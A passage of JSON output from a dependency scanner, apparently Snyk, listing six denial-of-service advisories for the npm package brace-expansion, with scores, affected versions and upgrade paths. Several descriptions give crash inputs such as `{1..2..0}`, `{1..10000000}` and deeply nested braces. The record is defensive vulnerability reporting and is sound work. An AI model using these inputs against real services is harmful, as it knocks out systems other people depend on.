"minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": 